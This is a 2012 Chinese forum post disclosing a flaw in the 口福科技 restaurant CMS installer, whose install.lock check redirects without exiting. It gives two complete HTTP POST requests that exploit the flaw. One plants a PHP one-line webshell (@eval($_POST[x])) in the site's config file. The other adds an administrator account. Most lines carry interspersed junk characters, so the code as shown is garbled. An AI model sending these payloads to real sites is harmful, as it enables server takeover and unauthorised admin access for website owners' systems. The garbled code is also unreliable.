找回密码
 立即注册
查看: 2978|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
2 m& p3 y8 _6 E: n
& \8 k7 s; p# c7 g, Y2 L" |<?php
) b: ?: ?, L, |* Q1 l2 Q+ h0 l3 v! K( jif(file_exists("../install.lock"))' N8 r  D& l+ m+ Z  `
{
- p& `& k+ j. x' q8 G5 {    header("Location: ../");//没有退出- k4 V: f& _( o% _" f: t
}
$ }% ~! R9 ]+ {3 f9 y               * u! l3 n9 s5 e
//echo 'tst';exit;
  w- u( H4 b; o  j6 `6 wrequire_once("init.php");
: G$ n) E/ d+ O# t) dif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
7 L3 m, |+ p* o! d{
! V, b3 D/ l. t6 Z可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
0 w, T5 x  J8 ?
5 K$ B- S% j( C2 l1、getshell(很危险)
4 k' H+ N9 V5 t4 I( X% M' V5 b) kif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
$ n' r3 b0 n3 g1 L- u- N8 Y* p{5 P: V0 n- n* m4 o: P4 }+ F. W5 F) D
$smarty->assign("step",1);
* y* w3 [3 V0 j$ d9 l* L9 {  }$smarty->display("index.html");
/ e1 F: L8 @, ]. Q, c4 n}elseif($_REQUEST['step']==2)
/ }2 |, q( @* Q/ r6 U# o: L2 n{
( q% v4 M- d* l" _9 z    $mysql_host=trim($_POST['mysql_host']);
! Z' T2 o+ }5 k, W$ c* {    $mysql_user=trim($_POST['mysql_user']);
6 I, H/ `+ D% N" u    $mysql_pwd=trim($_POST['mysql_pwd']);% A; h6 y* ^- S& X8 g
    $mysql_db=trim($_POST['mysql_db']);
# Q8 Q8 ^# \, L6 p    $tblpre=trim($_POST['tblpre']);
; n& C9 g# `- u8 Z+ Q    $domain==trim($_POST['domain']);
7 S# d: |) f8 w9 i    $str="<?php \r\n";5 X3 @8 r2 J! s/ h1 o/ |# T0 f7 T3 L
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
/ r$ o. i. [2 i: g! R5 U    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";; N- p1 A5 S" K2 r' y1 e
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";% _$ X! k* u9 E$ H1 E9 C4 X- H
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";$ S6 }6 S6 @6 R8 S$ N
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";4 B0 @9 s8 E  U( L0 C8 C
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";% K# C1 R" v4 n8 S# @
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
; M7 F- |1 r2 C2 y9 U+ a: }6 q    $str.='define("SKINS","default");'."\r\n";
$ ?6 |8 X0 U6 E+ ?5 d0 y  S2 H    $str.='?>';
' k" N* X  w, n& S% o0 ]) {    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
8 v8 r; p5 k4 x2 Z: v$ v上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
) w: h' r! p' X6 w/ l# E' RPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
$ ]7 \1 b+ K% g2 N+ w5 CHost: 192.168.80.129" \/ k( w" K+ H8 a
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0  q" p: x* |& Q
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
) X8 Y) M, o# [4 D8 EAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
$ }) c0 d% U/ ]; |$ H" C- S3 H% YAccept-Encoding: gzip, deflate
5 S! v, X: z' L! U  EReferer: http://192.168.80.129/canting/install/index.php?step=1
) \' R. |. V( Q, m5 \/ rCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc420 S1 P# U$ X# c( X" F% j7 F
Content-Type: application/x-www-form-urlencoded
3 ^* E& F. N5 SContent-Length: 126
# q$ J- X- V! z! v9 o         
7 I4 g9 U( f* l) \mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD8 b" r% l5 D6 q) l, l2 Z
但是这个方法很危险,将导致网站无法运行。+ F' o2 r+ R5 Y4 C' }1 C

$ j1 J; f, |! p% ]7 H4 o) N2、直接添加管理员. z- v! Y" |6 t. S. b6 M

/ D& Y/ ^" \5 |2 ~7 d) Q- Pelseif($_REQUEST['step']==5)# o- z  f9 p. h
{
) s4 a, q  }1 S/ r( S# a    if($_POST)( r- w) M8 z- y4 s6 \
    {   require_once("../config/config.inc.php");7 T- A2 L- y1 [2 e, [% i
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);2 ~' D5 A8 |) u. i7 E# S9 z
        mysql_select_db(MYSQL_DB,$link);
) @5 h' y1 K" f$ h        mysql_query("SET NAMES ".MYSQL_CHARSET );# @0 t0 o2 w# F
         mysql_query("SET sql_mode=''");
. N" ^1 {6 ~9 f. p3 N0 ?
+ \  l& C. Z1 \" f3 `5 L* f $adminname=trim($_POST['adminname']);) t( c# ^4 w  {2 s" P  a" b1 Z8 h. G
        $pwd1=trim($_POST['pwd1']);
; M, v0 C; H4 u6 i/ T3 o. e% e        $pwd2=trim($_POST['pwd2']);
' E( u9 {6 E& p2 B1 ]& P/ M2 F' C' {        if(empty($adminname))$ n: ]4 L1 e. ?8 ^
        {+ t: s+ Z" d" l

* O% o1 m' O& A echo "<script>alert('管理员不能为空');history.go(-1);</script>";
. A3 d2 b0 x5 Z" e  l            exit();' a. ~( y" d3 T; ]# R
        }: y/ y# O: C) q" k
        if(($pwd1!=$pwd2) or empty($pwd1))
& a. u! ?! @) h, S2 [& K        {4 ]& O% a3 {- K$ n0 O" L$ U
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
& u9 f% {  s# Q, z1 O        }
9 e) ~( W4 U* T$ \. o  v) y4 |1 ?. _        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
  L+ [% Q; `" e- c) d& e$ m5 Z, ?* ?    }! n! C* ~, z& y* c, d0 {
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
, l! R5 }9 @7 V% n/ C( vPOST /canting/install/index.php?m=index&step=5 HTTP/1.1# B$ l6 M6 O' @4 v& [0 P
Host: 192.168.80.129
) B. l$ i% m( g1 ~7 }, xUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
( f: Y9 c# r9 m! ?+ j2 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 N3 z8 y# c0 k7 k- bAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
; O5 x% p" a0 L' l" Y6 D, i* \Accept-Encoding: gzip, deflate5 _4 Y' ~5 t- q) X- L2 q; m2 F% ~* L
Referer: http://www.2cto.com /canting/install/index.php?step=1
( W! Y  O% E+ l$ F8 fCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42% w* p4 c7 `4 _  j" v$ Q
Content-Type: application/x-www-form-urlencoded( V6 x& V6 X% t4 h% h, e
Content-Length: 46
$ q0 ~: a4 }# {+ A, @% O" U; ?( ]      . V* y1 I3 k. `9 B# A/ M
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​4 P& e0 l1 U) C& B' X( v4 I+ R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表